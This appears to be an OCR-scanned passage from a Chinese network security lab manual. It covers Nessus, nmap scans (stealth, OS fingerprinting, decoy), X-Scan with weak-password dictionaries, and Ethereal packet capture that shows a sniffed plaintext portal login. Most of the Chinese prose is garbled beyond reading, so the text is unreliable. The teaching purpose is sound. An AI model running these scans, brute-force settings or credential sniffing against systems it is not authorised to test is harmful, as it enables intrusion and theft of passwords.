— 8T 0 T 10 B2 A Je s AR SE AT LA 28CHORT 9 48 4 - DL SR 2% 1 22 e R A

1) % %% Nessus

1F Linux |23 Nessus, 17 HM L . 225 44 2 nessus-installer. sh, f#i ] shell
KPATE L Hi A sh nessus-installer. sh. 3R 5 KRG th L% . fEL RSB P LHRBIF &
$& 78 FH P BE 22 B AR AR B BRI BCE 4 I 4 0] 2 Bl it 23 4k 22 20 %, B e R Ge 47

Congratulations ! Nessus is now installed on this host

. Create a nessusd certificate using /usr/local/sbin/nessus— mkoert

. Bdd a nessusd user use /usr/local/sbin/nessus- adduser

. Start the Nessus daanon (nessusd) use /usr/local/sbin/nessusd — D

. Start the Nessus client (nessus) use /usr/local/bin/nessus

. To uninstall Nessus, use /usr/local/sbin/uninstall- nessus

. Remember to invoke 'nessus- update- plugins' pericdically to update your list of

plugins

. A step by step damo of Nessus 1s available at :

http: / /weiw . nessus .org/damo/

Press ENIER to quit

1 W 42 2 1Y)

2) Bl # Nessus

Nessus £ & [z 55 i Y A28 7 S » 5 — Ol FH i 22 76 e & — Kk 5 fdi JH 4 2 nessus-
adduser RS — PN zx. B & 2222 19K 5 Caf Bl BT 50 » 13X 5 & IR 55 4 19 K 5 %6 5
{li ] nessus-mkcert # ¥ i & CACGEA BN E) . AR5y 2 nessusd -D T IF I
I W FERE O SR BT .

3) iz17 Nessus

FATH — D § 5 50 A nessus A7, X 4255 — I Nessus, ‘B 23 4d78 P g A
— A X R P IR A L S — B AR a9 S s S, A E 3. 3. 16 Jias

Nessusd Host: /& Mk 55 a4 W 7£ 89 EHL. AEWP S =ML L2417 T nessus -D gL H IP
HE . i T E TR SR A YL IR L B LAt o2 localhost,

Port: R HIBIARY 1241,

Encryption: >k HZIAME .

Login: ¥ 347 nessus -P Bk 5 24 .

. 86 o



v =1k

Nessusd host | Plugins | Prefs. | Scan opfions | Target selection | User | Credits

New session setup

=} Nessusd Host - | localhost

Port ;| 1241

Encryption : | tvofish/tipemd160:3

3 Login : {ngj

Log in

start the scan Load report Gluit

=

& 3316 Nessusd host 1% & 57 H

NG Log in $&28, RMEJLFP S . 5 7] LA 3 connected MY SFAAE T, 31X 5L 2% FH % 22 il
U7, HRFE—IRERESNRG w6, B s —kK Bial, T[S S8t A B 1,

4) 9E$E Plugins pr2&

Plugins J2 1 & 2ok A 1946 4F, a0 & 3. 3. 17 fr s o i FH 2 oT DLise B Bk A 19 22 40 T )
TEE W, MR E— P AER EEVL, Plugins T H AZ 251,

5) MEFE Prefs. Hr%%

A 3. 3. 18 iz« Prefs. dE30 T 2B £ & 4 X g 2 E VL 1T Ping 1L L J2 TCP 494
T, EARAE T TCP 2+ .SYN £ \FIN H i f1 Xmas #9455 JLA 77 3% . Hop Xmas
A FIN HH8 2800, J8 TR 3 i B R i 22

6) &+ Scan options FrZ&

i 3. 3. 19 Fros s B 14 i 1 Y0 [l 2 1~15000, X AL AL 56 17 RER 70 1Y S 11, 31X B
i 1] B B KRR E O 8 i Rz T 9 (E R K A B 25 oy 1 iOAE AL B 48 . i 1 471 4 7 20 ] AR
P B AT B AF X HL 1% $E Nmap tep connect() scan X P . 7 B BN &, nmap &
— PR K I Ty A7 S 4 T B Nessus #2448 738 o8 8 FH nmap T B 1744
1 DIHE .

Ui 43 48 7 2GR A AR A B B A AT T4 kA S — B FTP bounce scan J5 3,
B FTP & [a] 459 4 07 20 A X B 7 b Az & AT FTP Phidl s Q3 FTP 5% 42 1) g 1% 4% 3]
— U FTP g 55 s e A7 vm H 348 . 1207 Xl s {H 38 BEARAIG

7) £t Target selection P2

Al 3. 3. 20 Fran X BRI A ZEH R0 EQLRY TP kst el UL T .

e 87 o



88

Flugin selection

Plugins | Prefs

Misc.
Finger abuses
Windows

Backdoors
CGl abuses
General
aMMP

lseless services

@ain a shell remotely

Remote file access

| RIRIRIRIRIR]A]R]R]&]

Enable all Enable all but dangerous plugins Disable all
Start the scan Load report Cluit J
& 3317 Pugns IR
-

| Prefs. | 5

Flugins preferences

@ connect)
() S¥YN scan

() FIN scan

Ping the remote host:

[v] Do a TCP ping

Do an ICMP ping

3

TCP ping source port 60

TCP ping destination port: |80

Number of retries . 10

Nmap:

TCP scanning technigue

() ¥mas Tree scan

Start the scan

Load report

it

E 3318 Prefsit I




v =13

AR |SRRRIRRY oo oo [ESMRNED Sl CTes

Scan options
Port range : 1-15000
Max threads i
Path to the CGls : fcgi-hin

[ 1Do a reverse lookup on the IP before testing it

Optimize the test

FPort scanner ;

TCP Ping the remote host
Fing the remate host
MNmap

MNmap tcp connect() scan
FTP bounce scan

TCP 3YN scan

MR

otart the scan Load report Cluit

L -

& 3319 Scan options & I

{=1f 3

Nessusd host | Plugins | Prefs. | Scan options | Target selection | User | Credits

Target selection

Target(s) : 202.112.254 54| Read file..

[ 1Perform a DNS zone fransfer

Start the scan Load report Gluit

& 3320 Target selection i IR

User $r28 fil Credits Fro&— A B E  SE BB BT T .

8) FFin i

Hii Start the scan %4 . Nessus §L G HAs FEHL T a0 E 3. 3. 21 Fow.
9) A4S

ARG A G o i s ] 1, Al 3. 3. 22 B

89



oriscammmg/attack status

202112.234.54

Portscan ;

Security check :

mstream handler Detect

Stop the whole test

B 3321 HiETE

Nessus "NG" Report

ntp (123/udp)
netbios-ssn (139%/icp)
netbios-ns (137/udp)
msrpc (135/tcp)
microsoft-ds (445/tcp)
general/udp
general/tcp
generalficmp

U W W

@
¢

Secunty Warning
¢ Secunty Note

Haost ol 4

The remote host does not discard TCP SYN packets which
have the FIN flag set.

Depending on the kind of firewall you are using, an
attacker may use this flaw to bypass its rules.

See also : http://archives.neohapsis.com/archives/bugtraqg/2(
http://www.kb.cert.org/vuls/id/464113

Solution : Contact your vendor for a patch
Risk factor : Medium

DT TAOT

|

Save report...

Close window

K 332 HFEEREO

FEF A5 R A A ] IXUBS: 28 1) 1) s 11 e PR AT W 3 A 7 5K

Hrfr Security Note f& %42 F B, Security Warning 4 % 4% #, Security holes &% 4
T T o P e Horp g — 30, 51 40 Security holes, A DL & 2 5 F I i 19 B AR 5 BH Flfig g, £ 0]
DL R I Y Save report F8H  HEX AT A5 R ORAF O S mag 2. AR AR A7 NSR A% 2L
Al LA 2 nussesd -r . nsr FTIFHEASHEEE R AR A7 8 HTTP A& 20, B8 W 0 4547

JEEIR],

e 90
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el |




3. {#F nmap #HTHEH

nmap = Linux |8 R 2% 45§ A1 PR T 2 AL, n] DUHE B A N D1 3 AR I UDP 8( 35
TCP % 1, B 2 EVLIrE FH R EAE RS0 0 0] DREE I A a8 25 R0 5k 3 & A as =0 n H A&
NEGE MG . HEARINREA 31 —2FR I —HEV 2B AL 2w EVL w0l
R S HE i W 25 ik 55 5 = & AT LA W EHL T i #E R 5. nmap o] T H#AA AT
s LANGA AT D44 500 A5 sl DL B 4% . nmap b o P € dil 38 . @, —
AT B A ICMP Pl ping #5245 AT LA 2 — B0 oK .

(1) Kifx nmap &= HE %

T i «T???-[EJEPEHJ)\MTHM

1am — g Nmep
IR A5 BN K 3. 3. 23 7 .

# root@redhat 73:~

3328 A mmam<HE mepHNRERBR

(2) W A] DIfdi A whereis % (whereis nmap) 8{# find 7% (find /-name nmap) 3K &
ilE nmap & & B 4% e HoA & . il 3. 3. 24 iz .
# root@redhat 73:~ =10 x|

IErE=ls nmap

re/ mmap /ustc/share/man/manl/nmap.1l.gz

K 3324 A weeisESEE mepHILENE

(3) z’lﬂ%&ﬁ VL Bz BHE B nmap W R ZE %, ERMS nmap A5 fEHUTF

i 2 HEAT A
rm — 1 nmep- 2 3BETAI4- 1 1386.1qmm

e 9]



(4) A TAFZ/usr/bin/nmap -h I3RS Bi{E 2, i & 3. 3. 25 s,

# root@redhat73:~

(Find any reachakhle machines)
| stealth FIN, Zwas, or Null scan |
[dentd scat 115 with thetr sScan t

tions (none are required

[CP/IFP fingerprinting to «

3325 HFE nmepHE BIE R
(5) $RAT LAF iy 4> 28 A7 % o P A 0
mep — sP 192.168.0. *

Hrf1192.168.0 MM ETMEL ., B1745 £ & 3. 3. 26 i,

. root@redhatT3:~

Example: nmap -—w
SEF THE MALN PAGE FOR MAN

3326 nmapiEiE AN

(6) $RAT LA T a2 247 i 41 4, 78 5O Y Y 15
mep - sS 192.168.1.x%

x NEVEIKTEBEA S A H o 159, AT R A 3. 3. 27 s .
(7) {di /] nmap (1) TCP/IP I Tse & i) SAEIKFEM R GEE B . an S W F -

namp - 0 192.168.0.x%

x NaVEKFEBEAL S FEAR B Py 159, TRATEE R WA 3. 3. 28 TR,

(8) IR A5 S 4% TR A H WAE W I ik A R B HLY R Ee (5 B 7R R [BE B b
iZ A B BB HL A H s H A ERAE R S5 S X B E — B G A kA A ] e T B IR
5 F IR

(9) i HZS% U KM NT F g UDP % H .

rmep — sU 192.168.0.x%
e 02 o



e

=

not shown below are

incows Millenium Editlon

3328 nmpEEKFRZER

< R A TEIK R RE (S BTSSRI 3. 3. 29 %

# root@redhat73:~

J8= l.ll__q'llu

soft—ds

Nimap run compl

3329 nmep &l NT T & UDP# O

« 93



(10) F A LL T A4 K v 145 B, [ B Oh 1 R TP s hik , X FEACANAGRAS T o {5 B
5] B 3 e 45 R I T AS 2 8555 By i BR L R B

map — sS 192.168.0.159 — 5 192.168.0.34 — e eth0 - PO

T4 S 3. 3. 30 i 7m .

* root@redhat73:~

3330 nmepfhiE IPA i O

4. {# B X-Scan # 17 iF & )

X-Scan J& H{ﬁ%m;,.“(Xfomm Team) & ) — - Pfigse R T H., BERHZ 4%/~
77 X g € 1P Huht B (B AL 847 % 4 U 1 R I SRR 14 Dh g . $2 44t 1 B 5% ifg #la 2>
dﬂjﬁ]ﬁﬂ%ﬂ{’#?‘fﬂsEIT”W@@?ﬁ"ﬁﬂﬁﬁ%%ﬂ”hﬁﬂfﬁ?iﬁﬁﬂéﬁﬁmﬁ#w%ﬁjﬁ%H’?Z’Iﬁ?ﬁwﬁ
. J_LJEHHI_RI%W?H ) 285 1 2 1] B 248 ik 55 il 5 LA R

D =47 FERF

X-Scan FFHE L L7 EIae M B A5 H B R P A3 B E T & B A

0 e A FH A AR 2R T2 B L NAL 3. 3. 31 PR
'} I-Scan v3.3 GUI =10 x|

XY B"EW FFQW TERQ Langusge #HEIQ

je|bn e | @ @ 4| @
EEER |RAES | #i8EL |

.
f-Sean-+3. 3 {@H K EH j
—  FIETEF . Windows NT/2000/%P/2003

Bk FANET TWindows NTEFIRERL , #HBFZT T Windows 200010 ERIServer W indows R ifa

[ 1

. ThEersr -

REEBE AL IHEEIPHALE @B #T

SEERI, SHHEE. SENSEE TR
gaH . RIER G2 i&ﬁ$\%ﬁ£% pi
(e | =

5 FA iR <5 iRifel. @ﬁﬁﬁﬁ?ﬁ 3ﬁiﬁﬂﬁﬁ-iﬁﬂ?}
i ﬁ&*ﬁﬁ&ﬁ Biait ks » B 'Eimillys

' ; " M “EeimRT fnﬁ = [#]+B< 1%, BH .
3. EI,EU: ﬁﬂﬁzﬁhiﬁ TR, Eﬂ:_ﬁﬁhﬁﬁﬂﬁﬂﬂﬂﬁ BCOd® ’-‘Sﬂﬁﬁﬂﬂﬁl_l_ﬂ‘ﬂﬁﬁ%ﬂ%
el AN-Scandiliff. AP HessusEITH BIERIENE T 1EC e 08 » DM RMEE BB RS S,
= “‘Hezsuslﬂﬁ..tﬂ$§|¥” B, x- ScardﬁftFSDK Tﬁ]ﬁﬁﬁf’ﬁ%ﬂ@ﬁﬁ tjmliﬁﬁilélﬁiﬂ'ﬂﬂﬁji
B “Y=-Sean” TN B EEETEH FEAETE] - “hitp //www. ufoous. net/projects/Y=Scan/index html

H’ﬁn

=. PRI
XSCan gul. exe — ¥-ScanBRETIEF
checkhost. dat - AR EERF
update. axa T E%ﬂﬁﬁ%ﬁg
* dll — FEFREEEEE
[EHIREH. txt ol chﬁ 1HEH
/dat{language. ini — ZEEEETH, ETEE “LANGUAGE\SELECTED"” T H{TIE |

f | 4
B 3331 XSanFEF
L] 9 :"1 .



2) AR A

W E KB N AR SET e I HW SO W 1 AR e R 18
IP 0 [ SCASHE v g ACZEAG I 19 B AR 3= 0L A0 38845 5 TP sthhk , o o] RAXE 224> 1P i hik 3 1746
. fEan, A 192, 168. 0. 1-192. 168. 0. 255, Xf X 4~ W Bz gy EALAEA TR, an & 3. 3. 32 s .

EEE TR

192.168.0. 1-192. 168. 0. 255 |

3332 X Scan #05E FE

FES R BB Al DR PR ZRRE M A EHLECR  anf&l 3. 3. 33 Frow. fE" HAh B &
i A kI A M LY FEALT A JC AR AT AR A T Bkl B I LAY LT X U5 4
1k T Ping 8By J disi i B A% 5 BCA W LAY A, X-Scan 2x BEad 24\ EHL. B a0 F—&
FHL. WARELE TR X-Scan 22X HARHEATIRAIAG I X BEGR R 2 LU BOTE A . th 2=
SR A [R] 2 A HOR R — H AR 2 i XA e

B HEsH =101 x|

e
o 2REE
i

,.,.ﬁﬁﬁﬁl

- -HitwE
B HRE
~IROFRXRE
. SWPFEEIEE
- NETBIOSHEREE
- it e
- CGIFRREE
- FRUEE

vvvvv

e
AAAAA
b

:::::
¢¢¢¢¢
vvvvv

B 33B XaniZBH AR

e 05



FE“ Ui ARSI & rp ] DL A 8 X — S0 T 2RI id % H . an &l 3. 3. 34 fras ., kil 7 =0
TCP Fil SYN Biff, TCP J5 =02 5 %% 77 A B0, AH fE B 1 22 73 — 28, SYN A fz .

o ] .3

;9;13,IB,EI,EE,ES,EE;ES,TQ,EE,113,111,119,135,139,143,443,#!5;455;5{

- HETBIOS#EREE
-~ iEEEE S
- CGIFAREE

- FRIMRE

exec
=mtp=25
=ocks5=1080

B 33% XSanisOHXEE

“SNMP 515 &7 £ Z 25 X SNMP {5 5 iy — S8 I 5 &,

“NETBIOS #f ¥ &7 &£ % Windows R4 1) NETBIOS {5 B 19 K2 I 5 ¥, 1 45 1) 30
H AR 2 R 4l 5 SR e 50 i B AT

T 1] G 00 A0 A i 7 o R A U VR 4 A B R RS AR an & 3. 3. 35 Fiaw

=] %]

B 3335 X Scan B9 10 # B A

R 22 IR I AR 22 AL, n DUAR P8 52 Prefis O 158 £ 45 %€ B9 BAIAS L anf&] 3. 3. 36 Jiraw

“CGIARBCE™ " M A BB ™ALL R A4 RiAS DXl AS k- At T BRI it |l LA

“F SO E T X-Scan [ i 19 — 28 Tz AR K S I A 9 S SO X 28 o LT
e 0f o




|L] Gain roat remotely
General
ise,

333 XSanHIAEE

el LE ARG AARINK S 55 . Al DABESE A O A9 31 5T TR B0 7 S gE AT B e, an &l 3. 3. 37
Fes . BOA T HAFICE DAT SO e 7 B SCPR R, 98 00 A [A] <

ftp user= \dat\fip user dic
ftp_pass=. \dat\ftp_pass dic
smip_user=. ‘dat'mail user. dic
smtp_pass=. ‘dat'mail pass dic
lpop3_user=. ‘dat'mail user dic
pop3_pass=. \dat'mail pass. dic
sql_uszer= ‘dat\sql user dic

sql_pass=. ‘dat'sql_pass dic
smb_user=. ‘dat\nt_user. dic
smb_pass=. \dat'nt_pass. dic

3337 FHIKE

3) HFE YL

R F RN X Ty S LA — e iR 55 A 1 S 00 . ] LA 4 0 5 alg R IR
Ak %5 . an &l 3. 3. 38 fiF7s,

) FFERA

WEH VL EAEE LS s E A P R AR A st ol DA T . X-Scan & XX F
PLAEAT TEAI ARSI, AN &l 3. 3. 39 . AR H G FE b IS R L S 7E SR RS B TR A #

5) L4

FEF G L2 v, an SRR B 3, w7 AL il (5 R R 8 . B AR LG 22 B 3o
R I 5« B 4 s 1] 149 DRI 28 o A 20 19 5 S, 5 DAGE X X6 77 35 MILHE A7 36 240 89 43

e Q7



BEAr

[w] Sr-mgl%- B
FTPES[]4
| POF3

| SNTPS5 4

v| CGLiE

| NT-Serverig]%
V| HetBiosiz B

v| iIGiEERTE R 25
v .ﬁ.ru:-ngg EH% pub

W] SAL-Server§81<
v| ITSEmES /s

V| NessusEr G HIE.

i

Bl 333 HHMEREE

'} I-Scan ¥3.3 GUL

T BEW FFQ TEQ Legusge B

| @ | » 0

2 Elia'ﬂ

L |
ERES | R | wisiEe |

{-Scan ¥3.3 - ﬂﬁﬁ%iﬁ?ﬁﬁﬂﬁ%
LS http://www. xfocus. net (PIEL),
http: /fwew. xfocus, org (FEIEL)

EEMEEYT
&) Jhitmte
EENSiRsE
& ) E o,

EESEARFEEL .

| e

o 4k 1Y 2R
o SLEHM,

Bl 333 FHiHEHAE

o FfF b S A Y A P RN 2 AR A
o [EIAR I B Y ]R8 DL KSR DR O IR

o [HARPRSIEZ .
3.3.6 FHEMER
e 2% 44
WORHSELL A

tggt

PRIR K09

N



il >) 2R

(1) by SE8e it >, &2 > M2 PR A E N 25
(2) B MR r i 5 R B

(3) ARLE T REREALAERE.

(4) Aty > 45

542 155

TR B Al 5 R, {4 ) Ethereal #6100 /0 28 2R 5, 91060 L MR 45 I 40 B 39 46 45
Ao WY E R Sniffer Pro T H 1Y% % Kl . B TCP/IP il vp TCP,IP ICMP %%
PEELI S5 48 . T N 26 vh 25 Tl BRI 1z AT R

54 I

MR EE . 22 Windows 2000 Server $#:4/F &R 48 5k Linux ¥4F R 4 19 11 5 0L . J5 8k )
WS .
B34S . Ethereal for Linux or Windows\Sniffer Pro 4. 7. 530,

S

1. {8 A Ethereal 1T H T EFEE &K

Ethereal /& Linux FaY— 4w T H, % 208 H 4242 #l| Windows “F & T, 75 % % 1 i
AT

A B ZHF Windows ) Ethereal R AS FI#h T % %€ 3| Windows -5 T, 22 2% i ##
5535 30 2 5 B A 1]

IR —“FE " — Ethereal > Ethereal =77 . W E 3. 3. 40 fr7~x . Ethereal 1Y
EAmanE 3. 3. 41 Fros.,

& =50 § = SEIA %
— = R »
@ B = (0) » (2 vMware »
: B B3 »
@ RHE) ” [ Microsoft PowerPoint
& == » [ wicrosoft word
E WinHex
6 R @ Ethereal Documentation
EAR)... @ Adobe Reader 6.0 (] Ethereal Program Directory
' (2 FIRhiEBv2.68  » @] Ethereal Web Site
& y£4H administrator(L). .. ¥b MSN Messenger 6.1
@ Distributed SnifferPro  » @) Uninstall
EHUW... 3 TRFERV2004
””””” ST T ] P — A— Y o)< P

A 3340 ZEFZTHEMNAE

e 0



@ The Ethereal Network Analyzer =11

File Edit Capture Display Toadls Help

No. .|T1rne |Bnurce |Destinatinn |F’mtncnl |Infn |

4444444

~—

a—n|

Filter: I _ﬂ Resetl Apply IReady to load or capture

& 3341 1z 17 Bhered

1) HI4L 52 4l
1 PE Capture—Start iy 4, HEAINA LA TEHE , an &l 3. 3. 42 rw .

(@ Ethereal: Capture Options = [=] 53

‘Capture
Interface: ’D-Link DFE-530TX PCI Fast Ethernet £ _d
i Limit each packet to |E;El - bytes
I~ Capture packets in promiscuous mode
Fillenl
“Capture file(s)
Fila:l |
_IUse ring buffer  Number of files IEI J‘,
| Rotate capture file every l1 -} second(s)
‘Display options
_1 Update list of packets in real time
~1 Automatic serolling in live capture
-Capture limits :
_| Stop capture after |1 "} packet(s) captured
_| Stop capture after |1 —} kilobyte(s) captured
_| Stop capture after |1 "} second(s)
‘Name resolution
rf EnablaﬂAC name resolution
_| Enable Eetwork name resolution
I~ Enable transport name resolution
‘ OK | Cancel

Bl 3342 wEIMSBFN

Interface; PEFEIE T (FEHFHL N R)
Limit each packet to. J&75 PR il 61 K/,
« 100 -




Capture packets in promiscuous mode: & & il M K TAEEIR 248 I

Filter. flid & (i JEMPLEAL) |

DL EREARIE I E . R T2 AT G, ol DLICE T i ad 2 I .

Capture file(s) : 3K 1.

Display options: # & HEI ,

Capture limits: 3R E .

Name resolution: 24 FR#E A,

2) KOs a5 A

SEM UL ERCE S By OK 3% 81 06 IR, it B 5 A A ping a2 00 & s 0 25 4
1 2k
& 3. 3. 43 H R AER 2 BRI ping ®L(4 £ 4 D),

(@ <capture> - Ethereal

File Edit_Capture_Display _Tools

No. . |Time Source

[@Frame 1 (1510 bytes on wire, 1510 bytes captureg') '

B Ethernet II, Src: 02:01:00:00:00:00, Dst: ff:ff:ff:ff:Ff:ff |
| Dpata (1496 bytes) |
:ﬂ’l [(Errrere ‘: B

0000 1T 1T 11 1T 1T 1T 02 01 00 00 00 Q0 88 6T DT 0L  +..c0ecs =00, .-

0010 de <O 03 02 00 00 O1L 00 00 Q00 00 00 00 00 00 00 ..eeesss sees -

0020 00 00 00 00 00 00 03 00 02 00 05 2d OF 40 00 00  ..vevvre wes - -

0030 00 00 00 00 30 10 00 00 OO0 00 00 O £ &F 00 00 sssallsss woase -

00 00 00 OO €0 QD OO0 00 00 00 00 00 OO0 00 OO 00 00 . .oeevee ansss -

0050 00 O0 00 00 Q0 00 00 OO0 00 00 00 00 OO0 00 00 00 ..vcesnss wssns -

0050 OO 00 OO Q0 OD OO0 OO0 00 OO0 OO0 Q0 00 00 00 00 DD ..veisves sssss -

0070 00 00 00 00 00 00 00 00 00 00 00 Q0 00 00 00 00 ...evvre snes .-

I D Tad=dal L L T T T T T T W T T O T L T O i U O T O™ T T O T O T O T

f'FItm;" _II msﬁ?hﬂr | File: <capture> Drops: 0

Bl 3343 #MEX png &

A ping A1, e P Hor — > ping A1, ]I S AE 5 P R B iZ a0 H K fE B,
&l 3. 3. 44 iR,

MR RLT iDL R IE R

(1) 254 . Fov A 15 B0bE B0 3 s 18] | B30 6014 B isf 1) AT 55 45

(2) MZEAA . A v Sy LR &Y Hop 35 ok R L H p9 A2 B (IP) 45

Internet Wil : H A URL A (ICMP) | 3 5 Mo hik A1 H b bk 55

Internet |1 EE K PP ping /9 1P Hb kil CBE— J7 1&g 2K B — 5 [l ) .

HARZE N A AE B T i Y 7 HE A e os Oy Z i i)

3) e R 2 At 1Y A AR

PEHE 5% B Ethereal>Capture—>Start #54 » fEUNE 3. 3. 42 7~ By P0AL 158 01 % 375 HE o 5%

FEIR AL, Hily OK F B T 404 AR B0 62 . Fady Stop #22 #1 457 I 2480 4 4% 19 B dks A2 5 8 n
« 101 -



Ethereal

—capture:

File  Edit Capture Display Tools

Destination
“B0 2.010107  102.168.1 230. 255.205. 2
30.177304  192,168.1.90 123.87.147.55
4 C.177342 192.168.1.90 123.87.147.55
5 C.177459 192.168.1.90 123.87.147.55
6 C.177586 192.168.1.90 123.87.147.55
7 €.177671 192.168.1.90 123.87.147.55
24 1.005989 192.168.1.90 123.87.147.55
25 1.006063 192.168.1.90 123.87.147.55
26 1.006196 192.168.1.90 123.87.147.55 m
27 1.006316 192.168.1.90 123.87.147.55
28 1.006428 192.168.1.90 123.87.147.55
29 1.006526 192.168.1.90 123.87.147.55
30 1.021470 192.168.1.90 123.87.147.55 /
31 1.021582 192.168.1.90 123. F?.ld?. T TR |
I‘j ----- 4@ -
B Frame 1 (1510 bytes on wire, 1510 bytes captured) 5
B ethernet II, Src: 02:01:00:00:00:00, Dst: fFiff:ff:ff:fr:ff _
pata (1496 bytes) Vi
= =
0000 1T ff 1T ff 11 11 02 01 00 00 00 00 88 6f DT OL  ..ovveve sosos - ;5
0010 de cO 03 02 00 00 O1L 00 00 Q0 00 00 00 00 00 00  ..cvveun wunn- =
0020 00 00 00 00 00 00 03 00 02 00 05 2d 9F 40 00 OO ........ - -
0030 00 00 00 00 30 10 00 00 00 00 00 fOo ff &f 00 00 iaaelens wasin -
0040 00 00 00 00 00 00 00 00 OO0 00 00 00 00 00 00 00 . .vceiens wnens .
0050 00 00 00 00 00 Q0 00 00 OO0 Q0 OO0 Q00 00 00 00 00  s.vvvevs swsns -
0060 00 00 00 00 00 00 00 00 00 Q00 00 00 00 00 00 00  ..civieen cuun- -
0070 00 00 00 00 00 Q0 00 00 OO0 00 Q0 00 Q0 00 00 00 ....vver cunns -
e Gl T T T T T T T T T T T L I T T O TR T i O T O | - }
Filter: | _f' Reset| Apply |Fiia: <capture> Drops: 0

&l 3344 %% png &

4 3.3.45 Fran . WAHRFE Ethereal TR0}, A N IE & FXHAG4 (WAl 3. 3. 46) , 5 4% i BH SC AL

(LR IR TS EEy

@ (Untitled) — Ethereal =] B4
File Edit View Go Capture Analyze Statislics Help
SlEgee cl*xRE RQesDF LT |EE

_~ | Expression_| Clear| apply

Destination
112.101.76.152

Filter: I

No.

0.598205 192.168.1.90

33 0.647555 192.168.1.90 112.101.76.152 TCP

34 0.647556 192.168.1.90 112.101.76.152 TCP

35 0.708245 112.101.76.152 192.168.1.90 TCP

36 0.708500 192.168.1.90 112.101.76.152 TCP

37 0.708577 192.168.1.90 112.101.76.152 TCP

38 D.708578 192.168.1.90 112.101.76.152 TCP

52 0.921991 112.101.76.152 192.168.1.90 TCP

53 0.922141 192.168.1.90 112.101.76.152 TCP

54 0.922143 192.168.1.90 112.101.76.152 TCP

55 0.922215 192.168.1.90 112.101.76.152 TCP

67 1.004898 112.101.76.152 192.168.1.90 TCP

68 1.095232 192.168.1.90 112.101.76.152 TCP

69 1.095234 192.168,1.90 112.101.76.152 TCP

70 1.095307 192.168.1.90 112.101.76.152 TCP

74 1.150717 112.101.76.152 192.168.1.90 TCP

75 1.150935 192.168.1.90 112.101.76.152 TCP

76 1.150936 192.168.1.90 112.101.76.152 TCP

77 1.216987 112.101.76.152 192.168.1.90 TCP

78 1.217254 192.168.1.90 112.101.76.152 TCP

79 1.217286 192.168.1.90 112.101.76.152 TCP

80 1.217331 192.168.1.90 112.101.76.152 TCP =
« l 2
0000 00 11 Oa 54 cb b7 ec a8 6b 96 a9 9d 08 00 45 00 ...T.... K..... E

[ File: "C:\Users\ADMINI~1\AppData\L ocal\Temp\ethentXXg...

P:-479D: 479 M: 0 Drops: 0

F 3345 #(BL TOPEIEE




’ "4 ﬁ
sBE2H ) F emennns

Harbin Engineering University

O APER

FAFP#& 123456
B .--u-||

B 3346 ZExHPfE

P — R CTCP P30 . A i o 7 P S B rp % £ Follow TCP Stream iy 4, U
&l 3.3.47 fiff 7~ .

@ (Untitled) — Ethereal _.JQLEI
File Edit View Go Capture Analyze Statistics Help

SEee ol xR QerDF I

Filter: I{ip,addr eq 192.168.1.101 and ip.addr eq 202.118.177.80) and (tcp.| * I Expmssjm.-_l gnarl

No. Time Source Destination l:l
177 2.594387 202.118.177.80 192.168.1.101
180 2.505007  102.168.1.1I01 :
182 2.5962427  202.118.177.80 Mark Packet (toggle)
186 2.646663 202.118.177.80 Time Reference
190 2.650902 202.118.177.80 Apply as Filter
192 2.660462 202.118.177.80 _
193 2. 660466 202.118.177.80 Frepmn et e
“Follow TCP Strea
Follow SSL Stream
‘33 Decode As... =
4 | &) Print... N

@ Frame 180 (819 bytes on wire, 819 bytes Show Packet in New Window _ﬂ
1

= Ethernet II, Src: Giga-Byt_b7:69:86 (00:0f:ea:b7:69:86), Dst: Hewle
[ Destination: HewlettP_54:cb:b7 (00:11:0a:54:cb:b7)

mE Sanerra® Cina-Pvtr k768086 fMMNNF a3 7 £0-28(% ;l
4| I ]
000 00 11 Oa 54 cb b7 00 Of ea b7 60 86 08 00 45 00 ...T.... ..7. =
010 03 25 40 9f 40 00 40 06 00 00 cO a8 01 65 ca 76 .%2.@.@. ....
020 bl 50 c9 e0 00 50 8e ae e6 66 b9 5e 43 fb 50 18 .pP...P.. .f.A
030 40 29 40 ec 00 00 50 4f 53 54 20 2f 77 65 62 2f @)@...PO ST f_:1

File: "C:\Users\ADMINI~1\AppData\Local\Templet... |P:402D:11M: 0 Drops: 0

3347 &85 TP &

B TCP AL pfE B . an & 3. 3. 48 frs .,
FEZBR T P el LA B P 2 FR %0 A1 [e) 55 A0 {5 B (URL L M P fE R
URL 77 AWMk s B . Flan .

e |03 =



(2 Follow TCP stream

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; windows NT 6.1; Trident/5.0;
Browser/7.6.22690.400)

Referer: http://portal. hrbeu. edu. cn/indexNone/index_none. jsp?error=1

ccept-Language: zh-CN

ontent-Type: application/x-www-form-urlencoded

ccept-Encoding: gzip, deflate

Host: portal. hrbeu. edu.cn

ontent-Length: 199

onnection: Keep-Alive

ache-Control: no-cache

ookie: JISESSIONID=B4CACE1E3172C9972814067C27F693F6. tomcat2; GUEST_LANGUAGE

OOKIE_SUPPORT=true

EEJLjdeE&p_-_1ifec cle=1&p_p_state=normal&p_p_mode=view&p_p_col_id=column-
pi b Lalae i | 0g1n&_58_login=123456& 58_password=1234 50 A sba:: s r i by
Temporarily

|Date: Sat, 24 May 2014 06:41:33 GMT

server: Apache/2.2.16 (unix) mod_jk/1.2.28

Location: httﬂ:ffporta1.hrbeu.edu.cnfindexnnnefindex_none.jsp?error=1
ontent-Length: 0

Keep-Alive: timeout=5, max=100

onnection: Keep-Alive

ontent-Type: text/html;charset=UTF-8

ET /indexNone/index_none. jsp?error=1l HTTP/1.1

ccept: text/html, application/xhtml+xml, =/*

DNT: 1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; windows NT 6.1; Trident/5.0;
Browser/7.6.22690.400)

Referer: http://portal. hrbeu. edu. cn/indexNone/index none. isp?error=1

B 3348 #HEA R ZMEZRY

usernane= laozongsoassword= 22222707

EE: Ethereal RAEF B K KB A m R EZ M 69 2 % 6.1 %, # i3 Ethereal 897K % 48
#1 +Ethereal 3 2 #4 7t .

e o e M 45 _E AR S BUHE I — 22 1 S IR |

2. A Sniffer Pro #UER & #& €& FH 5L 65 53 47

(1) ¥ Sniffer Pro Z3EAEASH] Windows 2000/ XP(192. 168. 0. 245) & 3. 3.49 .

Welcome

Welcome to the Sniffer Pro Setup program. This
program will install Sniffer Pro on your computer.

It is shrongly recommended that you exit all Windows programs
before running this Setup program. '

Click Cancel to quit Setup and then close any programs you
have mnning. Click Nest to continue with the Setup program.

WARNING: This program is protected by copynght law and
international treaties.

Unauthorized reproduction or distribution of this program, or any
portion of it, map resull in severe civil and criminal penalties, and
will be prosecuted to the masimum estent possible under law.

K 3349 ZEFME

